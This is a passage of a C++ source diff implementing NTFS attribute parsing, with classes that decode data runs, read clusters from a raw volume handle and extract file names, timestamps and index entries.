GetAttrHeader() const; + __inline DWORD GetAttrType() const; + __inline DWORD GetAttrTotalSize() const; + __inline BOOL IsNonResident() const; + __inline WORD GetAttrFlags() const; + int GetAttrName(char *buf, DWORD bufLen) const; + int GetAttrName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL IsUnNamed() const; + +protected: + virtual __inline BOOL IsDataRunOK() const = 0; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const = 0; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const = 0; +}; // CAttrBase + +CAttrBase::CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) +{ + _ASSERT(ahc); + _ASSERT(fr); + + AttrHeader = ahc; + FileRecord = fr; + + _SectorSize = fr->Volume->SectorSize; + _ClusterSize = fr->Volume->ClusterSize; + _IndexBlockSize = fr->Volume->IndexBlockSize; + _hVolume = fr->Volume->hVolume; +} + +CAttrBase::~CAttrBase() +{ +} + +__inline const ATTR_HEADER_COMMON* CAttrBase::GetAttrHeader() const +{ + return AttrHeader; +} + +__inline DWORD CAttrBase::GetAttrType() const +{ + return AttrHeader->Type; +} + +__inline DWORD CAttrBase::GetAttrTotalSize() const +{ + return AttrHeader->TotalSize; +} + +__inline BOOL CAttrBase::IsNonResident() const +{ + return AttrHeader->NonResident; +} + +__inline WORD CAttrBase::GetAttrFlags() const +{ + return AttrHeader->Flags; +} + +// Get ANSI Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(char *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + int len = WideCharToMultiByte(CP_ACP, 0, namePtr, AttrHeader->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("Attribute name: %s\n", buf); + return len; + } + else + { + NTFS_TRACE("Unrecognized attribute name or Name buffer too small\n"); + return -1*AttrHeader->NameLength; + } + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Get UNICODE Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(wchar_t *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + bufLen = AttrHeader->NameLength; + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + wcsncpy(buf, namePtr, bufLen); + buf[bufLen] = '\0\0'; + + NTFS_TRACE("Unicode Attribute Name\n"); + return bufLen; + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Verify if this attribute is unnamed +// Useful in analyzing MultiStream files +__inline BOOL CAttrBase::IsUnNamed() const +{ + return (AttrHeader->NameLength == 0); +} + + +//////////////////////////////// +// Resident Attributes +//////////////////////////////// +class CAttrResident : public CAttrBase +{ +public: + CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrResident(); + +protected: + const ATTR_HEADER_RESIDENT *AttrHeaderR; + const void *AttrBody; // Points to Resident Data + DWORD AttrBodySize; // Attribute Data Size + + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrResident + +CAttrResident::CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderR = (ATTR_HEADER_RESIDENT*)ahc; + AttrBody = (void*)((BYTE*)AttrHeaderR + AttrHeaderR->AttrOffset); + AttrBodySize = AttrHeaderR->AttrSize; +} + +CAttrResident::~CAttrResident() +{ +} + +__inline BOOL CAttrResident::IsDataRunOK() const +{ + return TRUE; // Always OK for a resident attribute +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrBodySize; + + return (ULONGLONG)AttrBodySize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + DWORD offsetd = (DWORD)offset; + if (offsetd >= AttrBodySize) + return FALSE; // offset parameter error + + if ((offsetd + bufLen) > AttrBodySize) + *actural = AttrBodySize - offsetd; // Beyond scope + else + *actural = bufLen; + + memcpy(bufv, (BYTE*)AttrBody + offsetd, *actural); + + return TRUE; +} + + +//////////////////////////////// +// NonResident Attributes +//////////////////////////////// +class CAttrNonResident : public CAttrBase +{ +public: + CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrNonResident(); + +protected: + const ATTR_HEADER_NON_RESIDENT *AttrHeaderNR; + CDataRunList DataRunList; + +private: + BOOL bDataRunOK; + BYTE *UnalignedBuf; // Buffer to hold not cluster aligned data + BOOL PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset); + BOOL ParseDataRun(); + BOOL ReadClusters(void *buf, DWORD clusters, LONGLONG lcn); + BOOL ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural); + +protected: + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrNonResident + +CAttrNonResident::CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderNR = (ATTR_HEADER_NON_RESIDENT*)ahc; + + UnalignedBuf = new BYTE[_ClusterSize]; + + bDataRunOK = ParseDataRun(); +} + +CAttrNonResident::~CAttrNonResident() +{ + delete UnalignedBuf; + + DataRunList.RemoveAll(); +} + +// Parse a single DataRun unit +BOOL CAttrNonResident::PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset) +{ + BYTE size = **dataRun; + (*dataRun)++; + int lengthBytes = size & 0x0F; + int offsetBytes = size >> 4; + + if (lengthBytes > 8 || offsetBytes > 8) + { + NTFS_TRACE1("DataRun decode error 1: 0x%02X\n", size); + return FALSE; + } + + *length = 0; + memcpy(length, *dataRun, lengthBytes); + if (*length < 0) + { + NTFS_TRACE1("DataRun length error: %I64d\n", *length); + return FALSE; + } + + (*dataRun) += lengthBytes; + *LCNOffset = 0; + if (offsetBytes) // Not Sparse File + { + if ((*dataRun)[offsetBytes-1] & 0x80) + *LCNOffset = -1; + memcpy(LCNOffset, *dataRun, offsetBytes); + + (*dataRun) += offsetBytes; + } + + return TRUE; +} + +// Travers DataRun and insert into a link list +BOOL CAttrNonResident::ParseDataRun() +{ + NTFS_TRACE("Parsing Non Resident DataRun\n"); + NTFS_TRACE2("Start VCN = %I64u, End VCN = %I64u\n", + AttrHeaderNR->StartVCN, AttrHeaderNR->LastVCN); + + const BYTE *dataRun = (BYTE*)AttrHeaderNR + AttrHeaderNR->DataRunOffset; + LONGLONG length; + LONGLONG LCNOffset; + LONGLONG LCN = 0; + ULONGLONG VCN = 0; + + while (*dataRun) + { + if (PickData(&dataRun, &length, &LCNOffset)) + { + LCN += LCNOffset; + if (LCN < 0) + { + NTFS_TRACE("DataRun decode error 2\n"); + return FALSE; + } + + NTFS_TRACE2("Data length = %I64d clusters, LCN = %I64d", length, LCN); + NTFS_TRACE(LCNOffset == 0 ? ", Sparse Data\n" : "\n"); + + // Store LCN, Data size (clusters) into list + DataRun_Entry *dr = new DataRun_Entry; + dr->LCN = (LCNOffset == 0) ? -1 : LCN; + dr->Clusters = length; + dr->StartVCN = VCN; + VCN += length; + dr->LastVCN = VCN - 1; + + if (dr->LastVCN <= (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN)) + { + DataRunList.InsertEntry(dr); + } + else + { + NTFS_TRACE("DataRun decode error: VCN exceeds bound\n"); + + // Remove entries + DataRunList.RemoveAll(); + + return FALSE; + } + } + else + break; + } + + return TRUE; +} + +// Read clusters from disk, or sparse data +// *actural = Clusters acturally read +BOOL CAttrNonResident::ReadClusters(void *buf, DWORD clusters, LONGLONG lcn) +{ + if (lcn == -1) // sparse data + { + NTFS_TRACE("Sparse Data, Fill the buffer with 0\n"); + + // Fill the buffer with 0 + memset(buf, 0, clusters * _ClusterSize); + + return TRUE; + } + + LARGE_INTEGER addr; + DWORD len; + + addr.QuadPart = lcn * _ClusterSize; + len = SetFilePointer(_hVolume, addr.LowPart, &addr.HighPart, FILE_BEGIN); + + if (len == (DWORD)-1 && GetLastError() != NO_ERROR) + { + NTFS_TRACE1("Cannot locate cluster with LCN %I64d\n", lcn); + } + else + { + if (ReadFile(_hVolume, buf, clusters*_ClusterSize, &len, NULL) && + len == clusters*_ClusterSize) + { + NTFS_TRACE2("Successfully read %u clusters from LCN %I64d\n", clusters, lcn); + return TRUE; + } + else + { + NTFS_TRACE1("Cannot read cluster with LCN %I64d\n", lcn); + } + } + + return FALSE; +} + +// Read Data, cluster based +// clusterNo: Begnning cluster Number +// clusters: Clusters to read +// bufv, bufLen: Returned data +// *actural = Number of bytes acturally read +BOOL CAttrNonResident::ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural) +{ + _ASSERT(bufv); + _ASSERT(clusters); + + *actural = 0; + BYTE *buf = (BYTE*)bufv; + + // Verify if clusters exceeds DataRun bounds + if (vcn + clusters > (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN +1)) + { + NTFS_TRACE("Cluster exceeds DataRun bounds\n"); + return FALSE; + } + + // Verify buffer size + if (bufLen < clusters*_ClusterSize) + { + NTFS_TRACE("Buffer size too small\n"); + return FALSE; + } + + // Traverse the DataRun List to find the according LCN + const DataRun_Entry *dr = DataRunList.FindFirstEntry(); + while(dr) + { + if (vcn>=dr->StartVCN && vcn<=dr->LastVCN) + { + DWORD clustersToRead; + + ULONGLONG vcns = dr->LastVCN - vcn + 1; // Clusters from read pointer to the end + + if ((ULONGLONG)clusters > vcns) // Fragmented data, we must go on + clustersToRead = (DWORD)vcns; + else + clustersToRead = clusters; + if (ReadClusters(buf, clustersToRead, dr->LCN+(vcn-dr->StartVCN))) + { + buf += clustersToRead*_ClusterSize; + clusters -= clustersToRead; + *actural += clustersToRead; + vcn += clustersToRead; + } + else + break; + + if (clusters == 0) + break; + } + + dr = DataRunList.FindNextEntry(); + } + + *actural *= _ClusterSize; + return TRUE; +} + +// Judge if the DataRun is successfully parsed +__inline BOOL CAttrNonResident::IsDataRunOK() const +{ + return bDataRunOK; +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrNonResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrHeaderNR->AllocSize; + + return AttrHeaderNR->RealSize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrNonResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + // Hard disks can only be accessed by sectors + // To be simple and efficient, only implemented cluster based accessing + // So cluster unaligned data address should be processed carefully here + + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + // Bounds check + if (offset > AttrHeaderNR->RealSize) + return FALSE; + if ((offset + bufLen) > AttrHeaderNR->RealSize) + bufLen = (DWORD)(AttrHeaderNR->RealSize - offset); + + DWORD len; + BYTE *buf = (BYTE*)bufv; + + // First cluster Number + ULONGLONG startVCN = offset / _ClusterSize; + // Bytes in first cluster + DWORD startBytes = _ClusterSize - (DWORD)(offset % _ClusterSize); + // Read first cluster + if (startBytes != _ClusterSize) + { + // First cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + len = (startBytes < bufLen) ? startBytes : bufLen; + memcpy(buf, UnalignedBuf + _ClusterSize - startBytes, len); + buf += len; + bufLen -= len; + *actural += len; + startVCN++; + } + else + return FALSE; + } + if (bufLen == 0) + return TRUE; + + DWORD alignedClusters = bufLen / _ClusterSize; + if (alignedClusters) + { + // Aligned clusters + DWORD alignedSize = alignedClusters*_ClusterSize; + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, alignedClusters, buf, alignedSize, &len) + && len == alignedSize) + { + startVCN += alignedClusters; + buf += alignedSize; + bufLen %= _ClusterSize; + *actural += len; + + if (bufLen == 0) + return TRUE; + } + else + return FALSE; + } + + // Last cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + memcpy(buf, UnalignedBuf, bufLen); + *actural += bufLen; + + return TRUE; + } + else + return FALSE; +} + + +/////////////////////////////////// +// Attribute: Standard Information +/////////////////////////////////// +class CAttr_StdInfo : public CAttrResident +{ +public: + CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_StdInfo(); + +private: + const ATTR_STANDARD_INFORMATION *StdInfo; + +public: + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + static void UTC2Local(const ULONGLONG &ultm, FILETIME *lftm); +}; // CAttr_StdInfo + +CAttr_StdInfo::CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Standard Information\n"); + + StdInfo = (ATTR_STANDARD_INFORMATION*)AttrBody; +} + +CAttr_StdInfo::~CAttr_StdInfo() +{ + NTFS_TRACE("CAttr_StdInfo deleted\n"); +} + +// Change from UTC time to local time +void CAttr_StdInfo::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + UTC2Local(StdInfo->AlterTime, writeTm); + + if (createTm) + UTC2Local(StdInfo->CreateTime, createTm); + + if (accessTm) + UTC2Local(StdInfo->ReadTime, accessTm); +} + +__inline DWORD CAttr_StdInfo::GetFilePermission() const +{ + return StdInfo->Permission; +} + +__inline BOOL CAttr_StdInfo::IsReadOnly() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_READONLY); +} + +__inline BOOL CAttr_StdInfo::IsHidden() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_HIDDEN); +} + +__inline BOOL CAttr_StdInfo::IsSystem() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SYSTEM); +} + +__inline BOOL CAttr_StdInfo::IsCompressed() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_COMPRESSED); +} + +__inline BOOL CAttr_StdInfo::IsEncrypted() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_ENCRYPTED); +} + +__inline BOOL CAttr_StdInfo::IsSparse() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SPARSE); +} + +// UTC filetime to Local filetime +void CAttr_StdInfo::UTC2Local(const ULONGLONG &ultm, FILETIME *lftm) +{ + LARGE_INTEGER fti; + FILETIME ftt; + + fti.QuadPart = ultm; + ftt.dwHighDateTime = fti.HighPart; + ftt.dwLowDateTime = fti.LowPart; + + if (!FileTimeToLocalFileTime(&ftt, lftm)) + *lftm = ftt; +} + + +//////////////////////////////////////// +// FileName helper class +// used by FileName and IndexEntry +//////////////////////////////////////// +class CFileName +{ +public: + CFileName(ATTR_FILE_NAME *fn = NULL); + virtual ~CFileName(); + +protected: + const ATTR_FILE_NAME *FileName; // May be NULL for an IndexEntry + wchar_t *FileNameWUC; // Uppercase Unicode File Name, used to compare file names + int FileNameLength; + BOOL IsCopy; + + __inline void SetFileName(ATTR_FILE_NAME *fn); + void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn); + +private: + void GetFileNameWUC(); + +public: + int Compare(const wchar_t *fn) const; + int Compare(const char *fn) const; + + __inline ULONGLONG GetFileSize() const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + int GetFileName(char *buf, DWORD bufLen) const; + int GetFileName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL HasName() const; + __inline BOOL IsWin32Name() const; + + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; +}; // CFileName + +CFileName::CFileName(ATTR_FILE_NAME *fn) +{ + IsCopy = FALSE; + + FileName = fn; + + FileNameWUC = NULL; + FileNameLength = 0; + + if (fn) + GetFileNameWUC(); +} + +CFileName::~CFileName() +{ + if (FileNameWUC) + delete FileNameWUC; +} + +__inline void CFileName::SetFileName(ATTR_FILE_NAME *fn) +{ + FileName = fn; + + GetFileNameWUC(); +} + +// Copy pointer buffers +void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn) +{ + if (!IsCopy) + { + NTFS_TRACE("Cannot call this routine\n"); + return; + } + + _ASSERT(fn && afn); + + NTFS_TRACE("FileName Copied\n"); + + if (FileNameWUC) + delete FileNameWUC; + + FileNameLength = fn->FileNameLength; + FileName = afn; + + if (fn->FileNameWUC) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + wcsncpy(FileNameWUC, fn->FileNameWUC, FileNameLength); + FileNameWUC[FileNameLength] = wchar_t('\0'); + } + else + FileNameWUC = NULL; +} + +// Get uppercase unicode filename and store it in a buffer +void CFileName::GetFileNameWUC() +{ +#ifdef _DEBUG + char fna[MAX_PATH]; + GetFileName(fna, MAX_PATH); // Just show filename in debug window +#endif + + if (FileNameWUC) + { + delete FileNameWUC; + FileNameWUC = NULL; + FileNameLength = 0; + } + + wchar_t fns[MAX_PATH]; + FileNameLength = GetFileName(fns, MAX_PATH); + + if (FileNameLength > 0) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + for (int i=0; i<FileNameLength; i++) + FileNameWUC[i] = towupper(fns[i]); + FileNameWUC[FileNameLength] = wchar_t('\0'); + } + else + { + FileNameLength = 0; + FileNameWUC = NULL; + } +} + +// Compare Unicode file name +int CFileName::Compare(const wchar_t *fn) const +{ + // Change fn to upper case + int len = wcslen(fn); + if (len > MAX_PATH) + return 1; // Assume bigger + + wchar_t fns[MAX_PATH]; + + for (int i=0; i<len; i++) + fns[i] = towupper(fn[i]); + fns[len] = wchar_t('\0'); + + return wcscmp(fns, FileNameWUC); +} + +// Compare ANSI file name +int CFileName::Compare(const char *fn) const +{ + wchar_t fnw[MAX_PATH]; + + int len = MultiByteToWideChar(CP_ACP, 0, fn, -1, fnw, MAX_PATH); + if (len) + return Compare(fnw); + else + return 1; // Assume bigger +} + +__inline ULONGLONG CFileName::GetFileSize() const +{ + return FileName ? FileName->RealSize : 0; +} + +__inline DWORD CFileName::GetFilePermission() const +{ + return FileName ? FileName->Flags : 0; +} + +__inline BOOL CFileName::IsReadOnly() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_READONLY) : FALSE; +} + +__inline BOOL CFileName::IsHidden() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_HIDDEN) : FALSE; +} + +__inline BOOL CFileName::IsSystem() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SYSTEM) : FALSE; +} + +__inline BOOL CFileName::IsDirectory() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_DIRECTORY) : FALSE; +} + +__inline BOOL CFileName::IsCompressed() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_COMPRESSED) : FALSE; +} + +__inline BOOL CFileName::IsEncrypted() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_ENCRYPTED) : FALSE; +} + +__inline BOOL CFileName::IsSparse() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SPARSE) : FALSE; +} + +// Get ANSI File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(char *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + int len = 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + len = WideCharToMultiByte(CP_ACP, 0, (wchar_t*)FileName->Name, FileName->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("File Name: %s\n", buf); + NTFS_TRACE4("File Permission: %s\t%c%c%c\n", IsDirectory()?"Directory":"File", + IsReadOnly()?'R':' ', IsHidden()?'H':' ', IsSystem()?'S':' '); + } + else + { + NTFS_TRACE("Unrecognized File Name or FileName buffer too small\n"); + } + } + + return len; +} + +// Get Unicode File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(wchar_t *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + bufLen = FileName->NameLength; + wcsncpy(buf, (wchar_t*)FileName->Name, bufLen); + buf[bufLen] = wchar_t('\0'); + + return bufLen; + } + + return 0; +} + +__inline BOOL CFileName::HasName() const +{ + return FileNameLength > 0; +} + +__inline BOOL CFileName::IsWin32Name() const +{ + if (FileName == NULL || FileNameLength <= 0) + return FALSE; + + return (FileName->NameSpace != ATTR_FILENAME_NAMESPACE_DOS); // POSIX, WIN32, WIN32_DOS +} + +// Change from UTC time to local time +void CFileName::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + CAttr_StdInfo::UTC2Local(FileName ? FileName->AlterTime : 0, writeTm); + + if (createTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->CreateTime : 0, createTm); + + if (accessTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->ReadTime : 0, accessTm); +} + + +//////////////////////////////// +// Attribute: File Name +//////////////////////////////// +class CAttr_FileName : public CAttrResident, public CFileName +{ +public: + CAttr_FileName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: File Name\n"); + + SetFileName((ATTR_FILE_NAME*)AttrBody); + } + + virtual ~CAttr_FileName() + { + NTFS_TRACE("CAttr_FileName deleted\n"); + } + +private: + // File permission and time in $FILE_NAME only updates when the filename changes + // So hide these functions to prevent user from getting the error information + // Standard Information and IndexEntry keeps the most recent file time and permission infomation + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const {} + __inline DWORD GetFilePermission(){} + __inline BOOL IsReadOnly() const {} + __inline BOOL IsHidden() const {} + __inline BOOL IsSystem() const {} + __inline BOOL IsCompressed() const {} + __inline BOOL IsEncrypted() const {} + __inline BOOL IsSparse() const {} +}; // CAttr_FileName + + +////////////////////////////////// +// Attribute: Volume Information +////////////////////////////////// +class CAttr_VolInfo : public CAttrResident +{ +public: + CAttr_VolInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Information\n"); + + VolInfo = (ATTR_VOLUME_INFORMATION*)AttrBody; + } + + virtual ~CAttr_VolInfo() + { + NTFS_TRACE("CAttr_VolInfo deleted\n"); + } + +private: + const ATTR_VOLUME_INFORMATION *VolInfo; + +public: + // Get NTFS Volume Version + __inline WORD GetVersion() + { + return MAKEWORD(VolInfo->MinorVersion, VolInfo->MajorVersion); + } +}; // CAttr_VolInfo + + +/////////////////////////// +// Attribute: Volume Name +/////////////////////////// +class CAttr_VolName : public CAttrResident +{ +public: + CAttr_VolName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Name\n"); + + NameLength = AttrBodySize >> 1; + VolNameU = new wchar_t[NameLength+1]; + VolNameA = new char[NameLength+1]; + + memcpy(VolNameU, AttrBody, AttrBodySize); + VolNameU[NameLength] = wchar_t('\0'); + + int len = WideCharToMultiByte(CP_ACP, 0, VolNameU, NameLength, + VolNameA, NameLength, NULL, NULL); + VolNameA[NameLength] = '\0'; + } + + virtual ~CAttr_VolName() + { + NTFS_TRACE("CAttr_VolName deleted\n"); + + delete VolNameU; + delete VolNameA; + } + +private: + wchar_t *VolNameU; + char *VolNameA; + DWORD NameLength; + +public: + // Get NTFS Volume Unicode Name + __inline int GetName(wchar_t *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + wcsncpy(buf, VolNameU, NameLength+1); + return NameLength; + } + + // ANSI Name + __inline int GetName(char *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + strncpy(buf, VolNameA, NameLength+1); + return NameLength; + } +}; // CAttr_VolInfo + + +///////////////////////////////////// +// Attribute: Data +///////////////////////////////////// +template <class TYPE_RESIDENT> +class CAttr_Data : public TYPE_RESIDENT +{ +public: + CAttr_Data(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) + { + NTFS_TRACE1("Attribute: Data (%sResident)\n", IsNonResident() ? "Non" : ""); + } + + virtual ~CAttr_Data() + { + NTFS_TRACE("CAttr_Data deleted\n"); + } +}; // CAttr_Data + + +///////////////////////////// +// Index Entry helper class +///////////////////////////// +class CIndexEntry : public CFileName +{ +public: + CIndexEntry() + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = TRUE; + + IndexEntry = NULL; + SetFileName(NULL); + } + + CIndexEntry(const INDEX_ENTRY *ie) + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = FALSE; + + _ASSERT(ie); + IndexEntry = ie; + + if (IsSubNodePtr()) + { + NTFS_TRACE("Points to sub-node\n"); + } + + if (ie->StreamSize) + { + SetFileName((ATTR_FILE_NAME*)(ie->Stream)); + } + else + { + NTFS_TRACE("No FileName stream found\n"); + } + } + + virtual ~CIndexEntry() + { + // Never touch *IndexEntry here if IsCopy == FALSE ! + // As the memory have been deallocated by ~CIndexBlock() + + if (IsCopy && IndexEntry) + delete (void*)IndexEntry; + + NTFS_TRACE("CIndexEntry deleted\n"); + } + +private: + BOOL IsDefault; + +protected: + const INDEX_ENTRY *IndexEntry; + +public: + // Use with caution ! + CIndexEntry& operator = (const CIndexEntry &ieClass) + { + if (!IsDefault) + { + NTFS_TRACE("Cannot call this routine\n"); + return *this; + } + + NTFS_TRACE("Index Entry Copied\n"); + + IsCopy = TRUE; + + if (IndexEntry) + { + delete (void*)IndexEntry; + IndexEntry = NULL; + } + + const INDEX_ENTRY *ie = ieClass.IndexEntry; + _ASSERT(ie && (ie->Size > 0)); + + IndexEntry = (INDEX_ENTRY*)new BYTE[ie->Size]; + memcpy((void*)IndexEntry, ie, ie->Size); + CopyFileName(&ieClass, (ATTR_FILE_NAME*)(IndexEntry->Stream)); + + return *this; + } + + __inline ULONGLONG GetFileReference() const + { + if (IndexEntry) + return IndexEntry->FileReference & 0x0000FFFFFFFFFFFFUL; + else + return (ULONGLONG)-1; + } + + __inline BOOL IsSubNodePtr() const + { + if (IndexEntry) + return (IndexEntry->Flags & INDEX_ENTRY_FLAG_SUBNODE); + else + return FALSE; + } + + __inline ULONGLONG GetSubNodeVCN() const + { + if (IndexEntry) + return *(ULONGLONG*)((BYTE*)IndexEntry + IndexEntry->Size - 8); + else + return (ULONGLONG)-1; + } +}; // CIndexEntry + + +/////////////////////////////// +// Index Block helper class +/////////////////////////////// +class CIndexBlock : public CIndexEntryList +{ +public: + CIndexBlock() + { + NTFS_TRACE("Index Block\n"); + + IndexBlock = NULL; + } + + virtual ~CIndexBlock() + { + NTFS_TRACE("IndexBlock deleted\n"); + + if (IndexBlock) + delete IndexBlock; + } + +private: + INDEX_BLOCK *IndexBlock; + +public: + INDEX_BLOCK *AllocIndexBlock(DWORD size) + { + // Free previous data if any + if (GetCount() > 0) + RemoveAll(); + if (IndexBlock) + delete IndexBlock; + + IndexBlock = (INDEX_BLOCK*)new BYTE[size]; + + return IndexBlock; + } +}; // CIndexBlock + + +///////////////////////////////////// +// Attribute: Index Root (Resident) +///////////////////////////////////// +class CAttr_IndexRoot : public CAttrResident, public CIndexEntryList +{ +public: + CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexRoot(); + +private: + const ATTR_INDEX_ROOT *IndexRoot; + + void ParseIndexEntries(); + +public: + __inline BOOL IsFileName() const; +}; // CAttr_IndexRoot + +CAttr_IndexRoot::CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr): CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Root\n"); + + IndexRoot = (ATTR_INDEX_ROOT*)AttrBody; + + if (IsFileName()) + { + ParseIndexEntries(); + } + else + { + NTFS_TRACE("Index View not supported\n"); + } +} + 